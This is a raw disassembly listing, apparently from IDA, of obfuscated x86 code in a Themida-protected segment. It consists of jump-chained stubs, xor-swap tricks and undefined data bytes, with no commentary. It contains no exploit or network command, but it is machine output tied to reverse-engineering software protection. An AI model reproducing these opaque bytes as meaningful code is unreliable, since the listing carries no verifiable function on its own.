dd 751EE924h, 0C681FFFFh, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55948A
; ---------------------------------------------------------------------------
loc_55BBA8: ; CODE XREF: Themida_:0055BF7Cj
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_55380A
; ---------------------------------------------------------------------------
db 80h
dd 0C180D4E9h, 0C3E98044h, 0C8BC828h, 4C48124h, 4000000h
dd 66342C97h, 664EFD68h, 0B1240C89h, 66C82858h, 68240C8Bh
dd 5895h, 54240489h, 69E95558h, 0E9FFFF26h, 0FFFF21B9h
dd 5C243C87h, 405h, 269AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BC1A: ; CODE XREF: Themida_:005553FBj
push ebp
jmp loc_55D5DD
; ---------------------------------------------------------------------------
dd 0E95BD901h, 5789h
; ---------------------------------------------------------------------------
loc_55BC28: ; CODE XREF: Themida_:0054E48Cj
sub ebp, 35F7082Ch
add ecx, ebp
jmp loc_550C3E
; ---------------------------------------------------------------------------
loc_55BC35: ; CODE XREF: Themida_:00560326j
add edx, 5F016DE1h
jmp loc_55B35C
; ---------------------------------------------------------------------------
dd 5D28EE81h, 8AE94D9Fh
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BC4B: ; CODE XREF: Themida_:00551214j
add edi, 43E66E5Ah
sub edi, 81E5A134h
sub ecx, edi
mov edi, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
pop ebx
jmp loc_55CDE7
; ---------------------------------------------------------------------------
db 0BEh
dd 4BB1184Eh, 6EC5E681h, 0EE814407h, 2C534D22h, 41CDE9h
dd 7E95400h, 8100000Ch, 4ECh, 242C8900h, 0CB0873BDh, 5DEF211Bh
dd 8103EFC1h, 494E40F7h, 0B8C7810Bh, 29F5DFD1h, 0D5685FFAh
dd 89000000h, 74FF2414h, 34FF0424h, 54505A24h, 6F2AE958h
dd 14BBFFFFh, 4B5E2141h, 0E9CB8143h, 0D16AF828h, 2CB850EBh
dd 0E958F478h, 0FFFFE119h
; ---------------------------------------------------------------------------
loc_55BCE8: ; CODE XREF: Themida_:00559404j
pop ebx
jmp loc_557EAB
; ---------------------------------------------------------------------------
dw 0E951h
dd 0FFFF2C98h, 240C8B5Bh, 0ECEFE957h, 248BFFFFh, 240CD224h
dd 0FEFDE99Ch, 0F758FFFFh, 3F7CE9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BD12: ; CODE XREF: Themida_:00557C89j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push ebx
jmp loc_558B9B
; ---------------------------------------------------------------------------
db 68h
dd 23BBh, 57241C89h, 686BD968h, 0C7815F79h, 2DD80A13h
dd 3C0CE781h, 57E93972h, 81FFFF64h, 0C821B0E1h, 0A6E98157h
dd 89A2A5DCh, 240C8BCDh, 4C481h, 0E9530000h, 3F4Bh, 31242C33h
dd 2C33242Ch, 24248B24h, 34FFD389h, 89575A24h, 3543E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BD7E: ; CODE XREF: Themida_:0055A430j
pop edx
xchg edi, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
loc_55BD95: ; CODE XREF: Themida_:00550984j
pop dword ptr [esp]
push 3CBAh
mov [esp], edx
mov edx, esp
jmp loc_557AD8
; ---------------------------------------------------------------------------
db 81h
dd 5916C0CBh, 0BCC38136h, 5041C167h, 690C81B8h, 0F5093505h
dd 0C30142A9h, 5BD80158h, 0A1E95053h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BDCB: ; CODE XREF: Themida_:00556D8Ej
mov eax, esi
mov esi, [esp]
add esp, 4
pop edx
jmp loc_54E4D8
; ---------------------------------------------------------------------------
db 81h, 0C2h, 66h
dd 1BA9540h, 0EE95AD7h, 68FFFFAAh, 2, 9DC3815Dh, 11B943Dh
dd 9DBD55EBh, 291B943Dh, 535D5DEBh, 42474FFh, 24048F5Bh
dd 0FF9C75E9h, 85E94DFFh, 0E9FFFFCFh, 0FFFF1FADh, 23A3B951h
dd 0E9C14224h, 98B85006h, 48528539h, 2DBDE9h, 24148900h
dd 2FC3E9h
db 0
; ---------------------------------------------------------------------------
loc_55BE35: ; CODE XREF: Themida_:0055AA6Fj
push edi
mov eax, [esp]
add esp, 4
push 4FAAh
mov [esp], ebp
mov ebp, eax
mov edx, ebp
pop ebp
pop eax
jmp loc_55A03D
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFF1FF5h, 8EED815Bh, 8118E203h, 78EE2C5h, 5DEA8958h
dd 0EA81DAF7h, 7F58199Ah, 2607C281h, 0D301EFBAh, 0E924148Bh
dd 0FFFF6338h, 38B850h, 0E9500000h, 63Bh, 1492EE81h, 0FDE96410h
db 3Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BE97: ; CODE XREF: Themida_:0055B269j
pop ebp
xchg ebx, [esp]
mov esp, [esp]
or eax, eax
jnz loc_55504D
sub esp, 4
mov [esp], edi
push edx
jmp loc_555C7F
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 81000000h, 4C7h, 243C8700h, 4F94E95Ch, 0CE010000h, 0FF768CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BED1: ; CODE XREF: Themida_:005529C0j
pop esi
sub esi, 340B06D8h
pop eax
sub eax, 52C92F96h
sub eax, 110D030Fh
add eax, esi
add eax, 110D030Fh
add eax, 52C92F96h
pop esi
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_553122
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FFAB17E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BF09: ; CODE XREF: Themida_:0054F265j
add edi, 43C44C8Dh
pop ebx
push 223h
mov [esp], edi
push 6A21h
mov [esp], ecx
push ebx
jmp loc_5618BC
; ---------------------------------------------------------------------------
dw 9AE9h
dd 0C1FFFF1Eh, 6EE906EAh, 81FFFFF3h, 4C6h, 4BD5500h, 1000000h
dd 429CE9EEh, 0C7830000h, 2DDD68FFh, 34890000h, 95EBE24h
dd 0E6C116FDh, 7AE68108h, 4E6D7534h, 728AEE81h, 0C68146A3h
dd 0CEFE03AEh, 348BF701h, 4C48324h, 3C8BFD01h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55BBA8
; ---------------------------------------------------------------------------
db 66h, 87h, 0DEh
dd 66D3F766h, 6653DE87h, 66689DBBh, 0C166D3F7h, 0E906EBh
dd 81FFFF20h, 47A5E5C6h, 57760569h, 32E935A5h, 0BDFFFFDCh
dd 4, 34FFEF01h, 0C4835D24h, 0FFE95504h
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BFBF: ; CODE XREF: Themida_:0054FFB4j
push edi
mov edi, 2
add ebp, edi
pop edi
xchg ebp, [esp]
jmp loc_561E36
; ---------------------------------------------------------------------------
dd 76F30558h, 295A48B5h, 58082444h, 4246C81h, 57BB25F4h
dd 24348B5Bh, 6804C483h, 172Dh, 0B8240489h, 24h, 4442C681h
dd 0C6817086h, 43CA1FB3h, 1F68C601h, 8900000Ch, 8BBF243Ch
dd 0C102E373h, 555206E7h, 0A5528CBDh, 0D11E961h, 0C3810000h
dd 1722E9C0h, 0FFFBF3E9h, 24148BFFh, 0FF04C483h, 52592434h
dd 0C281E289h, 4, 8704EA83h, 895C2414h, 0E189240Ch, 4C181h
dd 31E90000h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C057: ; CODE XREF: Themida_:0055F667j
add ebp, 48E54E14h
sub ebp, ebx
jmp loc_557A83
; ---------------------------------------------------------------------------
dd 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 66C8AF0Fh
dd 46E99C51h, 81FFFF1Dh, 550F68E1h, 0BCC18173h, 18CBFF5h
dd 0C7E959CAh, 29FFFF91h, 148758C2h, 0BAE95C24h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C09F: ; CODE XREF: Themida_:00558CDEj
pop ebp
xor edx, 2B894AE3h
inc edx
and edx, 25EE5761h
add edx, 10A85FFDh
push eax
jmp loc_551D95
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0BFh
dd 8145D37Dh, 2C507DEAh, 90E28120h, 8166D732h, 51E5CFC2h
dd 10A2059Ch, 0D02953D1h, 0FFD04FE9h, 240489FFh, 63D8BF57h
dd 9FE9393Dh, 0FFFF20h, 1C8B66F8h, 53C5E924h, 0F7010000h
dd 8124348Bh, 4C4h, 51555700h, 0DF4071B9h, 2383E93Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C10E: ; CODE XREF: Themida_:00561648j
mov edi, 37336691h
sub [esp+4], edi
push dword ptr [esp]
pop edi
add esp, 4
mov eax, [esp]
jmp loc_56164D
; ---------------------------------------------------------------------------
dw 2C33h
dword_55C128 dd 0C895C24h, 52595424h, 855D2FBAh, 87524A55h, 0D3F7241Ch
dd 621AE9h, 48B6600h, 8B545024h, 0C4812404h, 4, 2603E953h
dd 0BA520000h, 5FA53AE8h, 8105E2C1h, 1E5631CAh, 7EAC10Dh
dd 0B7B85057h, 0E9165B76h, 0FFFFC64Ah, 8887C580h, 73E959EAh
dd 83FFFFC8h, 248904ECh, 24048324h, 8BE95804h, 87000015h
dd 248B2434h, 2434FF24h, 0E924148Bh, 0FFFF365Ah, 0BD555954h
dd 20856AD5h, 6CE58145h, 81468850h, 804040EDh, 5DE90100h
dd 0FFC8EEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C1BD: ; CODE XREF: Themida_:00554EE8j
mov edx, 4
add esi, edx
pop edx
xor esi, [esp]
jmp loc_556341
; ---------------------------------------------------------------------------
db 52h, 0BAh, 3Eh
dd 0E920C86Fh, 0FFFF3958h, 24048B66h, 8904EC83h, 0E389241Ch
dd 73AA6855h, 0C15D62F0h, 0ED8108EDh, 62F06Fh, 0FF816BE9h
dd 0C8B66FFh, 2DC9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C202: ; CODE XREF: Themida_:0055F139j
pop eax
jmp loc_55BA0D
; ---------------------------------------------------------------------------
loc_55C208: ; CODE XREF: Themida_:00558C9Cj
push edx
mov edx, 0C941140h
jmp loc_5616AD
; ---------------------------------------------------------------------------
loc_55C213: ; CODE XREF: Themida_:0054F789j
add esi, edx
pop edx
jmp loc_5543E6
; ---------------------------------------------------------------------------
loc_55C21B: ; CODE XREF: Themida_:005598D5j
not eax
push edx
push eax
mov edx, [esp]
add esp, 4
pop eax
xor edx, 11731CA0h
xor edx, 7A9DA35Bh
add ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_5575B3
; ---------------------------------------------------------------------------
loc_55C23F: ; CODE XREF: Themida_:005603AFj
add esp, 4
shr ecx, 6
push 68BCh
mov [esp], ebx
jmp loc_555271
; ---------------------------------------------------------------------------
loc_55C252: ; CODE XREF: Themida_:00557CDBj
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, 1
and eax, esi
pop esi
jmp loc_558B76
; ---------------------------------------------------------------------------
loc_55C279: ; CODE XREF: Themida_:0055161Ej
add esp, 2
add bl, 8Fh
sub bl, 3Eh
add bl, al
add bl, 3Eh
sub bl, 8Fh
sub bl, 0A7h
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dw 0C361h
dd 0FFFF5CE9h, 242C89FFh, 4BDh, 0B87CE900h, 0E368FFFFh
dd 8900003Eh, 0ACB9240Ch, 5372B953h, 0FF4A2CE9h, 2C483FFh
dd 6EE9D828h, 83FFFFE1h, 0BE5604C4h, 2, 0FF7472E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C2D5: ; CODE XREF: Themida_:00550EF3j
pop eax
pop dword ptr [esp]
pop esp
mov [esp], eax
xor [esp], eax
xor eax, [esp]
xor [esp], eax
not eax
xor [esp], eax
jmp loc_556BBE
; ---------------------------------------------------------------------------
dd 0DE9EF29h, 0FFFFFF65h, 835A2434h, 0C8904ECh, 22856824h
dd 24890000h, 0EE02E924h, 0C681FFFFh, 142B5318h, 16B85058h
dd 0E902152Bh, 0FFFFC3F8h, 4C281h, 6BE90000h, 87FFFF68h
dd 0F7D987CAh, 87D987D3h, 0FADEE9CAh, 0B951FFFFh, 422D47C5h
dd 0F181E1D1h, 543F7C4Bh, 0BF575156h, 7F530ED6h, 1D3FF781h
dd 0E7812021h, 66296415h, 0CF81E7D1h, 5CEA5BBAh, 0FF9303E9h
dd 240481FFh, 4, 7B75E95Fh, 0C281FFFFh, 4, 26855h, 0F0E90000h
dd 57000039h, 0BA52E789h, 210282Dh, 2AEA8142h, 1021028h
dd 729EE9D7h, 0FD01FFFFh, 8AD6E95Fh, 0E95EFFFFh, 0FFFFB1F6h
; ---------------------------------------------------------------------------
loc_55C3AC: ; CODE XREF: Themida_:0055FAA1j
xor edi, 0EE5F9DFBh
sub ebx, edi
pop edi
jmp loc_555F77
; ---------------------------------------------------------------------------
dw 8DB1h
dd 5159CC88h, 81E9C4B5h, 56FFFF4Dh, 2F5D93BEh, 276EE923h
dd 1C87FFFFh, 2DB0E924h, 0D9010000h, 1A39E981h, 1C8B7C34h
dd 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFFDFF3h
dd 0EAC0C2FEh, 9EA8004h, 34FFD728h, 0C4835A24h, 82F78004h
dd 80A1B652h, 0E6807DE6h, 7AE68080h, 80EAC680h, 0F0283BC6h
dd 51F8285Ah, 51660BB1h, 662414F6h, 0C0C1FE59h, 0CBE908E9h
dd 0E9000055h, 0FFFF1985h, 6F046C04h, 5E545659h, 44B0BA52h
dd 0E94A487Dh, 303Fh, 0E689565Dh, 0FF320AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C45D: ; CODE XREF: Themida_:0056225Fj
sub esp, 4
jmp loc_552196
; ---------------------------------------------------------------------------
dd 0FEA2B353h, 15EB80C3h, 0F69BCB80h, 5E3C0D3h, 0FE74B151h
dd 25F180C9h, 0FF7CD3E9h, 0E0C381FFh, 116E52Ch, 0E0BF57FBh
dd 2916E52Ch, 0EC815FFBh, 4, 0E9241489h, 0FFFFC0E9h, 8038E580h
dd 0E580A2F5h, 3EDC08Ch, 80AEC580h, 0EA280DC2h, 590DEA80h
dd 8B05EA80h, 3DE9241Ch, 8BFFFF91h, 5457241Ch, 4C7815Fh
dd 81000000h, 4C7h, 243C8700h, 5824248Bh, 0FFFFA0E9h, 0AE956FFh
dd 68FFFF3Ah, 79F6h, 68241489h, 43CCh, 53243489h, 0FF2828E9h
dd 24B850FFh, 0F74BFE6Bh, 0E0C140D0h, 4C930D07h, 6AE95DA7h
dd 0BD00004Fh, 6510221Fh, 0B850D5F7h, 5BE4B39h, 825E0D1h
dd 0C111C739h, 0BA5202E8h, 77FE5D72h, 0FFFB80E9h, 0CBE95CFFh
dd 0B9000030h, 553F751Ah, 0C8BCE21h, 4C48124h, 4E000000h
dd 0FFF19CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C555: ; CODE XREF: Themida_:0054FB2Bj
push dword ptr [esp]
pop eax
push 5620h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_5561F6
; ---------------------------------------------------------------------------
dd 6624248Bh, 0E9498568h, 0FFFF1F6Ch, 0B9240C89h, 4, 7E471E05h
dd 2CD10569h, 0C8293BABh, 0AB2CD12Dh, 454B683Bh, 2C890000h
dd 3D51BD24h, 0E9511320h, 2236h, 24048F5Ch, 0FFC08FE9h
dd 0C3815BFFh, 1, 8808EB81h, 8153A063h, 722B2404h, 0C8B58B1h
dd 0E90EE924h, 4666FFFFh, 0D0F68166h, 664E6627h, 0C166D6F7h
dd 9EE904E6h, 0FFFFFFF9h, 5A042474h, 8B24048Fh, 3CD32424h
dd 0CEE99C24h, 0D1FFFF17h, 51DFF7E7h, 9B28C7B9h, 26AEE90Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C606: ; CODE XREF: Themida_:0055CA76j
mov ecx, [esp]
jmp loc_557002
; ---------------------------------------------------------------------------
loc_55C60E: ; CODE XREF: Themida_:005568F8j
push 625Fh
mov [esp], eax
push 53A7h
jmp loc_54F348
; ---------------------------------------------------------------------------
dd 8F0EF81h, 1BE93575h, 8BFFFFF9h, 89572404h, 4C781E7h
dd 57000000h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 7ABA2414h
dd 0E9291E10h, 0FFFFC84Dh, 61A668h, 48DDE900h, 35680000h
dd 89000049h, 0C3682404h, 5819345Ah, 5CFBB951h, 0BF575B05h
dd 29167F4Eh, 0D8CF814Fh, 812F8C55h, 3B58CDF7h, 0E9F9311Ch
dd 0FFFF4052h
; ---------------------------------------------------------------------------
loc_55C68C: ; CODE XREF: Themida_:0055176Ej
sub esi, 5E1B3C13h
pop ebp
jmp loc_54FC0B
; ---------------------------------------------------------------------------
dd 1727E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C69E: ; CODE XREF: Themida_:00551B42j
xchg eax, [esp]
not eax
xchg eax, [esp]
pop ebx
sub esp, 4
jmp loc_558E66
; ---------------------------------------------------------------------------
db 0F7h
dd 290592D2h, 0E9784B54h, 0FFFFEEA0h, 0E951665Bh, 0FFFF2CE0h
dd 4C381h, 0EB810000h, 4, 0FF3BBBE9h, 90E951FFh, 81FFFFECh
dd 0F30022F2h, 5AD00131h, 0FFCF68E9h, 5EF329FFh, 81240C8Bh
dd 4C4h, 50FB0100h, 4A4AD6B8h, 58C3290Dh, 83243C8Bh, 0EC8304C4h
dd 241C8904h, 42474FFh, 3395E95Bh, 8966FFFFh, 9AB5240Ch
dd 8B66E828h, 0C481240Ch, 2, 4EC81h, 1C890000h, 0B4505224h
dd 3042B6A2h, 2434FFE6h, 4C48158h, 50000000h, 88F58851h
dd 8D9DE9E8h, 0EC81FFFFh, 4, 56241489h, 0D03CA7BEh, 226EE94Bh
dd 148B0000h, 4C48324h, 8B24048Fh, 0FAE92424h
db 3Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C773: ; CODE XREF: Themida_:00553DF8j
pop esi
jmp loc_55E9E0
; ---------------------------------------------------------------------------
aRsk0 db 'RéŠ0',0
db 0
; ---------------------------------------------------------------------------
loc_55C77F: ; CODE XREF: Themida_:005595DFj
add ebp, 602F280Eh
not ebp
neg ebp
jmp loc_55D725
; ---------------------------------------------------------------------------
loc_55C78E: ; CODE XREF: Themida_:005540E2j
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_55140B
; ---------------------------------------------------------------------------
dw 0E9C0h
dd 6F54E903h, 34FFFFFFh, 0A8E95824h, 66FFFF6Fh, 343EE281h
dd 0B8665066h, 84E97534h, 83000042h, 1C8904ECh, 0E9DBB324h
dd 0FFFF3585h
; ---------------------------------------------------------------------------
loc_55C7CC: ; CODE XREF: Themida_:0055AD90j
xchg ecx, [esp]
pop esp
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 89h, 0E3h, 0E9h
dd 0FFFF6ADBh, 2B9h, 0BEF8100h, 1584713h, 9AE953CFh
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C7EF: ; CODE XREF: Themida_:0054F082j
add ecx, esi
pop esi
jmp loc_562616
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 4E98300h, 0E9240C87h, 0FFFF8DD7h
; ---------------------------------------------------------------------------
loc_55C808: ; CODE XREF: Themida_:0055D0CCj
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_55A7C5
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 0E95B2434h, 0FFFFD77Dh, 9A3881BBh, 5BDD294Eh
dd 8904EC83h, 0E951241Ch, 0FFFFC2E5h, 36C8E952h, 0E95F0000h
dd 0FFFF6073h
; ---------------------------------------------------------------------------
loc_55C84C: ; CODE XREF: Themida_:0055551Fj
add esi, 2
xchg esi, [esp]
jmp loc_55446B
; ---------------------------------------------------------------------------
dw 0EB80h
dd 4EC837Dh, 0E9240C89h, 0FFFF22AFh, 0E932FF64h, 0FFFFC109h
dd 0D7C38166h, 0C3816646h, 1667B65h, 0EB8166C3h, 0BF687B65h
dd 89000017h, 8357242Ch, 1C8904ECh, 0F0BB6624h, 280EE910h
dd 34FF0000h, 24148B24h, 0FFC53AE9h, 0E78957FFh, 40B0E9h
dd 2474FF00h, 81E95804h
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C8B7: ; CODE XREF: Themida_:00553EE6j
mov ecx, 8190D2Ah
sub esp, 4
mov [esp], edx
push eax
mov eax, 6AD6731Eh
jmp loc_550D09
; ---------------------------------------------------------------------------
dd 1249C181h, 0C831F535h, 889E959h, 5580000h, 4, 2D30E9h
dd 0E9575D00h, 0FFFFDABAh, 5D04C483h, 1D06E9h, 4573BE00h
dd 64E903A8h
db 68h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C903: ; CODE XREF: Themida_:0055D550j
add ecx, 0C1040025h
add esi, ecx
jmp loc_55E050
; ---------------------------------------------------------------------------
dd 3124248Bh, 0AAE92404h, 81FFFF14h, 936ADCE7h, 5EFC128h
dd 2D77EF81h, 0EF815AD8h, 4C463E76h, 0EDE9FB01h, 50FFFFD6h
dd 4B8h, 58C50100h, 4319E9h, 8BDF8900h, 8951241Ch, 4C181E1h
dd 83000000h, 6E904E9h, 6600003Ch, 53240C8Bh, 0C381E389h
dd 4, 4EB81h, 1C870000h, 3C895C24h, 34FF5424h, 243C8B24h
dd 0FFAA2BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C981: ; CODE XREF: Themida_:0055AA82j
sub edi, eax
mov eax, [esp]
jmp loc_557651
; ---------------------------------------------------------------------------
db 0FFh
dd 0C8B3877h, 56576824h, 1C890000h, 515B5424h, 4B9h, 8F0AE900h
dd 0BA52FFFFh, 114A17A4h, 455AD531h, 5237E9h, 5DEA2900h
dd 5AD9C281h, 0B8501999h, 2B51075Eh, 9344902Dh, 0CC41E93Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C9CE: ; CODE XREF: Themida_:0054FCE0j
pop eax
xor edi, [esp]
xor [esp], edi
jmp loc_54ECD3
; ---------------------------------------------------------------------------
loc_55C9DA: ; CODE XREF: Themida_:00561241j
not dword ptr [esp]
pop ecx
jmp loc_551219
; ---------------------------------------------------------------------------
loc_55C9E3: ; CODE XREF: Themida_:005619F8j
dec dword ptr [esp]
not dword ptr [esp]
jmp loc_5557C8
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF2B83h
; ---------------------------------------------------------------------------
loc_55C9F4: ; CODE XREF: Themida_:0056289Aj
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_560FA6
; ---------------------------------------------------------------------------
dw 348Bh
dd 4F0F6824h, 4890000h, 0E2C4E924h, 1C8BFFFFh, 0E7D7E924h
dd 34FFFFFFh, 0E9555B24h, 0FFFF1694h, 0B3E95450h, 66FFFFFEh
dd 0E9240C8Bh, 0FFFFD426h, 6F5AED81h, 5DE90D34h, 1FFFFB1h
dd 0E977E9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CA46: ; CODE XREF: Themida_:0054E714j
inc edx
sub edx, 7E9001A0h
sub edx, 375560FAh
jmp loc_559199
; ---------------------------------------------------------------------------
dd 1E98F281h, 0F28135BAh, 0DA11595h, 0FFD52FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CA69: ; CODE XREF: Themida_:0055FFD6j
mov esp, [esp]
mov [esp], esi
sub dword ptr [esp], 7D1E414Eh
jmp loc_55C606
; ---------------------------------------------------------------------------
loc_55CA7B: ; CODE XREF: Themida_:00558CFEj
mov [esp], ebp
sub dword ptr [esp], 34673B89h
pop dword ptr [edi+20h]
jmp loc_55EAE2
; ---------------------------------------------------------------------------
loc_55CA8D: ; CODE XREF: Themida_:005549A6j
mov eax, edi
jmp loc_556C7B
; ---------------------------------------------------------------------------
loc_55CA94: ; CODE XREF: Themida_:005535ECj
push 203Ah
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_54ED4D
; ---------------------------------------------------------------------------
loc_55CAAF: ; CODE XREF: Themida_:00555CEEj
pop esp
mov [esp], edx
mov edx, 70250C49h
push edi
push ecx
mov ecx, edx
jmp loc_5611E8
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0C681E689h, 4, 4BF57h, 0FE010000h, 2434875Fh, 4C4815Ch
dd 0E9000000h, 0FFFF4D5Dh, 4112D0Dh, 0EC835101h, 2FFFE904h
dd 6C810000h, 673D0424h, 55E9567Eh, 5000000h, 91808656h
dd 1DFEE9h, 4BD5500h, 55000000h, 0E80F67BDh, 0E0E95631h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CB1B: ; CODE XREF: Themida_:00553ABAj
and edi, edx
pop edx
push ebx
mov ebx, 0A734B2Ah
jmp loc_55875B
; ---------------------------------------------------------------------------
db 30h, 0D8h, 66h
dd 66524668h
db 89h, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push edx
jmp loc_54E025
; ---------------------------------------------------------------------------
loc_55CB3D: ; CODE XREF: Themida_:00559771j
push edx
push esi
mov esi, 0E98584Dh
mov edx, esi
pop esi
jmp loc_5521D2
; ---------------------------------------------------------------------------
aISun db '‰$$éãN',0
align 4
dd 4245C01h, 4244481h, 567E673Dh, 2111E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CB66: ; CODE XREF: Themida_:005505B8j
add ebp, 4
push esi
mov esi, 4
jmp loc_55DDEB
; ---------------------------------------------------------------------------
db 83h
dd 59042404h, 0FF6CBBE9h, 5EF301FFh, 0FF6476E9h, 1237E9FFh
dd 0E959FFFFh, 0FFFFFBE5h, 2DF00159h, 2BF315D5h, 8124348Bh
dd 4C4h, 3DE98100h, 1382D7Fh, 0E4E950C1h, 89FFFF57h, 4C381E3h
dd 0E9000000h, 45F0h, 5258C101h, 1ECBE9h, 81E28900h, 4C2h
dd 4C28300h, 5C241487h, 4EDFC281h, 0D70150E5h, 5724148Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 24248B24h, 0EFC1DFF7h
dd 3BB85006h, 296EC518h, 0BEE958C7h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CC0B: ; CODE XREF: Themida_:0055F32Bj
add ebp, edi
sub ebp, 6D112138h
mov edi, [esp]
add esp, 4
push ebp
jmp loc_55454F
; ---------------------------------------------------------------------------
loc_55CC1F: ; CODE XREF: Themida_:0056230Ej
sub edi, eax
jmp loc_55F190
; ---------------------------------------------------------------------------
loc_55CC26: ; CODE XREF: Themida_:005620AFj
shr eax, 12h
jmp loc_55B523
; ---------------------------------------------------------------------------
dw 83ACh
dd 896602ECh, 4DE92414h
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CC3B: ; CODE XREF: Themida_:00558334j
push 6470h
mov [esp], edx
push ebx
mov ebx, 71FB1A9Dh
mov edx, 242913B1h
xor edx, ebx
pop ebx
push edx
sub esp, 4
mov [esp], esi
mov esi, 7EDF50A6h
jmp loc_554536
; ---------------------------------------------------------------------------
db 56h, 0BEh, 49h
dd 812ED716h, 0F40B40C6h, 0FF0BE915h, 0C383FFFFh, 0DF41E904h
dd 8957FFFFh, 27B850E7h, 0C1176E23h, 534006E8h, 0BB7767BBh
dd 6D6CE91Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CC96: ; CODE XREF: Themida_:00551BBAj
sub ebp, 0B9C8D293h
and edx, ebp
pop ebp
and edx, 215124D1h
jmp loc_553550
; ---------------------------------------------------------------------------
dw 0EA01h
dd 7723EA81h, 95E90501h, 68FFFF45h, 58A8h, 56242C89h, 4EC81h
dd 2C890000h, 0B4E0E924h, 0EC81FFFFh, 4, 0E9242489h, 0FFFF3FE8h
dd 4E9835Eh, 0FFE329E9h, 4C483FFh, 4186E9h, 4BD3F700h
dd 28C1F381h, 0DE89DDE6h, 0CCBDBA5Bh, 0C281DD48h, 5111093Dh
dd 0EA81F201h, 5111093Dh, 5E2434FFh, 446768h, 242C8900h
dd 0C5815D54h, 4, 48685657h, 5E73DC27h, 397FE681h, 57E971F7h
dd 89000016h, 0EAC15DEAh, 0BB5303h, 29000000h, 0E9DA89D3h
dd 1374h
; ---------------------------------------------------------------------------
loc_55CD48: ; CODE XREF: Themida_:00559969j
mov bh, 0B6h
and dl, bh
mov bx, [esp]
jmp loc_55ADA6
; ---------------------------------------------------------------------------
db 59h, 0E9h, 73h
dd 0BAFFFF5Fh, 53BA5735h, 48BB5357h, 0E9534A15h, 0C16h
dd 8B2434FFh, 0C483240Ch, 0E0895004h, 405h, 4E88300h, 5C240487h
dd 68243489h, 9A7h, 0E9242489h, 0FFFF2873h, 4C381h, 0C3810000h
dd 4, 0E9241C87h, 0FE1h
; ---------------------------------------------------------------------------
loc_55CDA8: ; CODE XREF: Themida_:0055D944j
xchg edx, [esp]
pop esp
push 3D39h
mov [esp], eax
mov eax, 4
add ebp, 1F8B4BFFh
jmp loc_54E288
; ---------------------------------------------------------------------------
